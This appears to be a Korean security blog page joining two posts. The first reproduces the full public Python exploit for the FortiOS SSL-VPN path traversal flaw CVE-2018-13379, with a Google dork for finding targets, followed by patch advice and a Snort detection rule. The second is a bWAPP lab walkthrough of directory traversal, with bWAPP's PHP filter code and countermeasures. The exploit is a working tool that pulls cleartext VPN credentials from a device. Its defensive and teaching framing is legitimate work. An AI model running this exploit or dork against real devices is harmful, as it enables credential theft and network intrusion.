- /remote/fgt_lang 페이지의 lang 매개변수에 ../를 삽입해 특정 경로, 파일 등에 접근

# Exploit Title: Fortinet FortiOS Leak file - Reading login/passwords in clear text.
# Google Dork: intext:"Please Login" inurl:"/remote/login"
# Date: 17/08/2019
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://www.fortinet.com/
# Software Link: https://www.fortinet.com/products/fortigate/fortios.html
# Version: This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
# Tested on: 5.6.6
# CVE : CVE-2018-13379

# Exploit SSLVPN Fortinet - FortiOs
#!/usr/bin/env python
import requests, sys, time
import urllib3
urllib3.disable_warnings()


def leak(host, port):
	print("[!] Leak information...")
	try:
		url = "https://"+host+":"+port+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
		headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}		
		r=requests.get(url, headers=headers, verify=False, stream=True)
		img=r.raw.read()
		if "var fgt_lang =" in str(img):
			with open("sslvpn_websession_"+host+".dat", 'w') as f:
				f.write(img)		
			print("[>] Save to file ....")
			parse(host)
			print("\n")
			return True
		else:
			return False
	except requests.exceptions.ConnectionError:
		return False
def is_character_printable(s):
	return all((ord(c) < 127) and (ord(c) >= 32) for c in s)

def is_printable(byte):
	if is_character_printable(byte):
    		return byte
  	else:
    		return '.' 

def read_bytes(host, chunksize=8192):
	print("[>] Read bytes from > " + "sslvpn_websession"+host+".dat")
	with open("sslvpn_websession_"+host+".dat", "rb") as f:
    		while True:
        		chunk = f.read(chunksize)
        		if chunk:
          			for b in chunk:
            				yield b
        		else:
          			break
def parse(host):
    print("[!] Parsing Information...")
    memory_address = 0
    ascii_string = ""
    for byte in read_bytes(host):
    	ascii_string = ascii_string + is_printable(byte)
	if memory_address%61 == 60:
		if ascii_string!=".............................................................":
	    		print ascii_string
	    	ascii_string = ""
	memory_address = memory_address + 1

def check(host, port):
    print("[!] Check vuln...")
    uri = "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
    try:
        r = requests.get("https://" + host + ":" + port + uri, verify=False)
        if(r.status_code == 200):
            return True
        elif(r.status_code == 404):
            return False
        else:
            return False
    except:
        return False
def main(host, port):
    print("[+] Start exploiting....")
    vuln = check(host, port)
    if(vuln):
        print("[+] Target is vulnerable!")
        bin_file = leak(host, port)
    else:
        print("[X] Target not vulnerable.")

if __name__ == "__main__":

    if(len(sys.argv) < 3):
        print("Use: python {} ip/dns port".format(sys.argv[0]))
    else:
        host = sys.argv[1]
        port = sys.argv[2]
        main(host, port)

 

3. 대응

3.1 서버측면

① 취약점 패치 적용

- Fortinet은 취약점 패치 적용 전까지 SSL-VPN을 사용하지 않을것을 권고

 

② 비밀번호 변경

- 이미 취약점에 노출되어 계정정보가 유출되었을 가능성이 있으므로 계정정보를 변경

 

③ MFA 적용

- 계정 외에도 인증할 수 있는 추가 수단을 적용하여 MFA 구현

 

3.2 네트워크 측면

① 탐지 룰 적용 및 모니터링, 차단

- 공개된 PoC를 통해 /remote/fgt_lang?lang 이하의 URL로 접근이 확인되므로 해당 문자열을 탐지

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"FortiOS SSL VPN Directory Traversal";content:"/remote/fgt_lang?lang";)

 

4. 참고

- https://www.fortiguard.com/psirt/FG-IR-18-384

- https://www.boho.or.kr/data/secNoticeList.do?page=1&sort_code=&sort_code_name=&search_sort=display_contents&search_word=CVE-2018-13379 

- https://krcert.or.kr/data/reportView.do?bulletin_writing_sequence=36146 

- https://www.codetd.com/ko/article/7028571

1. Directory Traversal이란?

- 상위 디렉터리로 이동가능한 문자 ../ 를 이용해 상위 디렉터리로 접근하여 파일을 검색/다운 등이 가능한 취약점.
- 접근 통제 및 검증, 서버 설정 미흡 등의 취약점으로 인해 중요 파일에 접근이 가능한 취약점.
- 해당 취약점을 이용해 공격자는 접근 불가한 디렉터리나 파일에 접근이 가능해짐.

2. bWAPP Directory Traversal

- 먼저 bWAPP 첫화면에서 식별되는 정보는 없다.

[캡쳐 1] 초기 화면

- URL의 page 매개변수에 디렉터리 이동문자인 ../를 이용해 상위 디렉터리로 이동
- 중요파일인 /etc/passwd 파일에 접근

[캡쳐 2] /etc/passwd 내용 노출

- ../을 다수 입력한 이유는 다음과 같다.
① 공격자는 현재 자신이 위치한 디렉터리의 정확한 위치를 알지못한다.
② 공격자는 최상위 디렉터리인 root 디렉터리로 이동 후 원하는 디렉터리 및 파일에 접근하는 것이 목표이다.
③ root 디렉터리는 최상위 디렉터리이며, root 디렉터리의 상위 디렉터리 역시 root 이다.
④ 즉, 현재의 정확한 위치를 모르기 때문에 ../를 다수 입력해 root 디렉터리로 이동하기 위함이다.

[캡쳐 3] https://rrhh234cm.tistory.com/170


- Bee-box에서 다음 명령을 통해 해당 페이지의 내용을 확인할 수 있다.
directory_traversal_1.php : 문제 페이지 내용 확인 가능
functions_external.php : 설정된 함수 확인 가능

[캡쳐 4] 해당 페이지 내용 확인

directory_traversal_1.php 내용

<중략>

    <?php

    if(isset($_GET["page"]))
    {

        $file = $_GET["page"];

        switch($_COOKIE["security_level"])
            {

            case "0" :            

                show_file($file);

                // Debugging
                // echo "<br />" . $_GET['page'];

                break;

            case "1" :         

                $directory_traversal_error = directory_traversal_check_1($file);

                if(!$directory_traversal_error)
                {

                    show_file($file);

                }

                else
                {

                    echo $directory_traversal_error;

                } 

                // Debugging
                // echo "<br />" . $_GET["page"];

                break;

            case "2" :

                $directory_traversal_error = directory_traversal_check_3($file);           

                if(!$directory_traversal_error)
                {

                    show_file($file);

                }

                else
                {

                    echo $directory_traversal_error;

                }

                // Debugging
                // echo "<br />" . $_GET["page"];

                break;

            default :           

                show_file($file);

                // Debugging
                // echo "<br />" . $_GET["page"];

                break;

        }

    }

    ?>
    
    <하략>

functions_external.php 내용

<중략>

function directory_traversal_check_1($data)
{

    // Not bulletproof
    
    $directory_traversal_error = "";  
    
    // Searches for special characters in the GET parameter
    if(strpos($data, "../") !== false ||
       strpos($data, "..\\") !== false ||
       strpos($data, "/..") !== false ||
       strpos($data, "\..") !== false)
            
    {

        $directory_traversal_error = "Directory Traversal detected!";
    
    }
    
    /*
    else
    {
    
        echo "Good path!";
    
    }     
     */
    
    return $directory_traversal_error;

}

function directory_traversal_check_2($data)
{

    // Not bulletproof
    
    $directory_traversal_error = "";  
    
    // Searches for special characters in the GET parameter
    if(strpos($data, "../") !== false ||
       strpos($data, "..\\") !== false ||
       strpos($data, "/..") !== false ||
       strpos($data, "\..") !== false ||
       strpos($data, ".") !== false)
            
    {

        $directory_traversal_error = "Directory Traversal detected!";
    
    }
    
    /*
    else
    {
    
        echo "Good path!";
    
    }     
     */
    
    return $directory_traversal_error;

}

function directory_traversal_check_3($user_path,$base_path = "")
{
    
    $directory_traversal_error = "";
    
    $real_base_path = realpath($base_path);

    // echo "base path: " . $base_path . " real base path: " . $real_base_path . "<br />";

    $real_user_path = realpath($user_path);

    // echo "user path: " . $user_path . " real user path: " . $real_user_path . "<br />";

    // int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
    // URL: http://php.net/manual/en/function.strpos.php
    if(strpos($real_user_path, $real_base_path) === false)
    {
    
        $directory_traversal_error = "<font color=\"red\">An error occurred, please try again.</font>";
    
    }

    /*
    else
    {
    
        echo "Good path!";
    
    }     
     */
    
    return $directory_traversal_error;

}

<하략>

3. 대응방안

- 보안장비 패턴(ex ../ 및 해당 문자열 인코딩 값) 등록 후 탐지 및 차단
- 입력값 검증 및 권한 검증 수행
- 해당 서버가 Apache일 경우 "conf/httpd.conf"에 모든 디렉토리 Options 지시자의 'Indexes'를 제거.

+ Recent posts